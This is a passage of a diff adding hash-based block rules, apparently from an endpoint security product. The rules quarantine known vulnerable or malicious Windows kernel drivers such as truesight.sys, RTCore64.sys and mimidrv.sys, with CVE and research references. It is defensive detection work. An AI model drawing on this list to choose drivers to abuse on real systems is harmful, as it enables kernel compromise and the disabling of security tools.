+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "eb6922d5-90a0-51a2-b4c6-3fe8d9b4a31c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614489Z",
+  "creation_date": "2026-03-23T11:45:29.614491Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614496Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "38fa0c663c8689048726666f1c5e019feaa9da8278f1df6ff62da33961891d2a",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "eb710708-e0bc-5b8f-8699-2efb84b86cef",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.821559Z",
+  "creation_date": "2026-03-23T11:45:31.821562Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.821571Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9b4ec8dfdc14be119b69341a52de33772cbc2efb1078dbdeacdcd35c86356d3d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "eb7efdc6-cd7b-526b-8f95-128064b997a8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827716Z",
+  "creation_date": "2026-03-23T11:45:30.827718Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827724Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c67fd4bf9578eb529dd8c4fe6681e1b4a6f5376036aada2e4db6a57db5246ea0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "eb80ffef-805b-58d3-a664-e37e62efe32f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.476585Z",
+  "creation_date": "2026-03-23T11:45:30.476589Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.476598Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "83e993691aa4f5f599dddd1fab2bc3e0791587c9e93eeb9e405c130922096343",
+  "comment": "Vulnerable Kernel Driver (aka libnicm.sys) [https://www.loldrivers.io/drivers/2b949a0d-939f-456a-a34f-4589d7712227/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "eb8116ff-b09d-5c0a-b51c-ada5dc6b8bc2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606280Z",
+  "creation_date": "2026-03-23T11:45:29.606284Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.606292Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c7fef94e329bd9b66b281539265f989313356cbd9c345df9e670e9c4b6e0edce",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "eb8526a5-96ba-527f-a07c-7a15ee8a3e8f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.832816Z",
+  "creation_date": "2026-03-23T11:45:30.832818Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832824Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fc49b67101f8ee7db2604bdb42d9c265076e60bd8c73b5d510c4b61f227d7ab5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "eba34f89-2e14-5e7b-a005-04b4439f7638",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818923Z",
+  "creation_date": "2026-03-23T11:45:30.818925Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818931Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8c20d10857c37d8ed9151fa95f6bf12f99ef2c0bea36eed2370a1f4da7737951",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ebb05a35-351d-52a1-a7ba-3cf41f860896",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.468139Z",
+  "creation_date": "2026-03-23T11:45:30.468143Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.468151Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8bec85d128eb0444f10fc89b95b2c6b84a8d0405cb0a6dbc30cff8ea4c0ca043",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ebb3d61c-1806-52db-9594-167f493594a9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.485353Z",
+  "creation_date": "2026-03-23T11:45:31.485356Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.485366Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "492ae424ec172ebea9d26f0f67a479084d5cef2d9390474003d49941f8a2abe7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ebde7747-3a7f-5ecd-b680-5dfcd6287cf8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.490661Z",
+  "creation_date": "2026-03-23T11:45:31.490663Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.490668Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "17e831c003dc45f8b63438c8aebf5805cceed30704c1306223964be1e3af7157",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ebff7451-45ef-564d-96e1-7e560c8206cb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.807767Z",
+  "creation_date": "2026-03-23T11:45:31.807770Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.807779Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1d54ebc14e22dbcda953e2db38cf37e207bd8bfbc24e1ef8ddc0f107cc04d9a0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ec0c6d51-b0c9-535b-8c3e-5ef550219775",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.490173Z",
+  "creation_date": "2026-03-23T11:45:31.490175Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.490180Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3df162270502add907987cf0deaf5faaa4080956e61de6ecb2fd4d58104ab9d3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ec0e5980-d803-560f-9ab7-5b55d17d5a97",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.824240Z",
+  "creation_date": "2026-03-23T11:45:30.824242Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.824248Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d8e629a867377e1f49a9827caf036e9e2938d3a85e6e05f9d17a7e9236df2043",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ec0fe2e2-85a1-5e70-90af-f990eefab756",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.473574Z",
+  "creation_date": "2026-03-23T11:45:31.473578Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.473588Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0d95fd391154cc4ff120ba41ab38120de99f5675d47919103bfc0f7647f872c8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ec17f731-75b0-54e8-bbbc-a193bfab9b3b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.495725Z",
+  "creation_date": "2026-03-23T11:45:31.495727Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.495733Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ac7835fc414e41ce60a7bdda8f7056a6502f878c19aef5f315b164348e3bb9d0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ec18bce5-2f88-59a2-9065-03e721305abe",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.461583Z",
+  "creation_date": "2026-03-23T11:45:30.461586Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.461595Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9a67626fb468d3f114c23ac73fd8057f43d06393d3eca04da1d6676f89da2d40",
+  "comment": "Malicious Kernel Driver (aka 5a4fe297c7d42539303137b6d75b150d.sys) [https://www.loldrivers.io/drivers/75b9b0c5-dd3e-4cf3-a693-c80f2feabb6a/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ec1f5ac6-5f0f-54bd-b6f3-f1129a019eb1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.616238Z",
+  "creation_date": "2026-03-23T11:45:29.616240Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.616246Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "88df37ede18bea511f1782c1a6c4915690b29591cf2c1bf5f52201fbbb4fa2b9",
+  "comment": "Huawei vulnerable BIOS update tool (aka Phymemx64.sys) [https://www.loldrivers.io/drivers/268e87ba-ad44-4f3c-986f-26712cac68da/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ec258a4f-4d8f-5368-acc1-b3aab8578783",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607595Z",
+  "creation_date": "2026-03-23T11:45:29.607597Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607603Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4b4c925c3b8285aeeab9b954e8b2a0773b4d2d0e18d07d4a9d268f4be90f6cae",
+  "comment": "Micro-Star MSI Afterburner vulnerable driver (aka RTCore32.sys and RTCore64.sys) [CVE-2019-16098] [https://www.loldrivers.io/drivers/275c80c5-a67c-4536-b29e-4e481242cb01/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ec283ada-4417-50a0-9258-38c9cb6ae43e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.833065Z",
+  "creation_date": "2026-03-23T11:45:30.833068Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.833077Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a25c80390c61f13ac79d1ecaf3768450c87e25e6cfc624a3124cce975d6a9212",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ec3774db-a203-59b3-9940-d28015426670",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.498200Z",
+  "creation_date": "2026-03-23T11:45:31.498204Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.498212Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cbf711e482cd15e4dd7c15317843831c32114b9690df0cba7df4ab0ed2903128",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ec3a654e-3d37-5f88-a402-8884ca748e60",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.464654Z",
+  "creation_date": "2026-03-23T11:45:30.464657Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.464666Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4dc24fd07f8fb854e685bc540359c59f177de5b91231cc44d6231e33c9e932b1",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ec41d9db-66a8-5ca8-a83a-21804f0b0caf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977189Z",
+  "creation_date": "2026-03-23T11:45:29.977191Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.977197Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "72b36c64f0b349d7816c8e5e2d1a7f59807de0c87d3f071a04dbc56bec9c00db",
+  "comment": "ASUS vulnerable VGA Kernel Mode Driver (aka EIO.sys) [https://www.loldrivers.io/drivers/f654ad84-c61d-477c-a0b2-d153b927dfcc/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
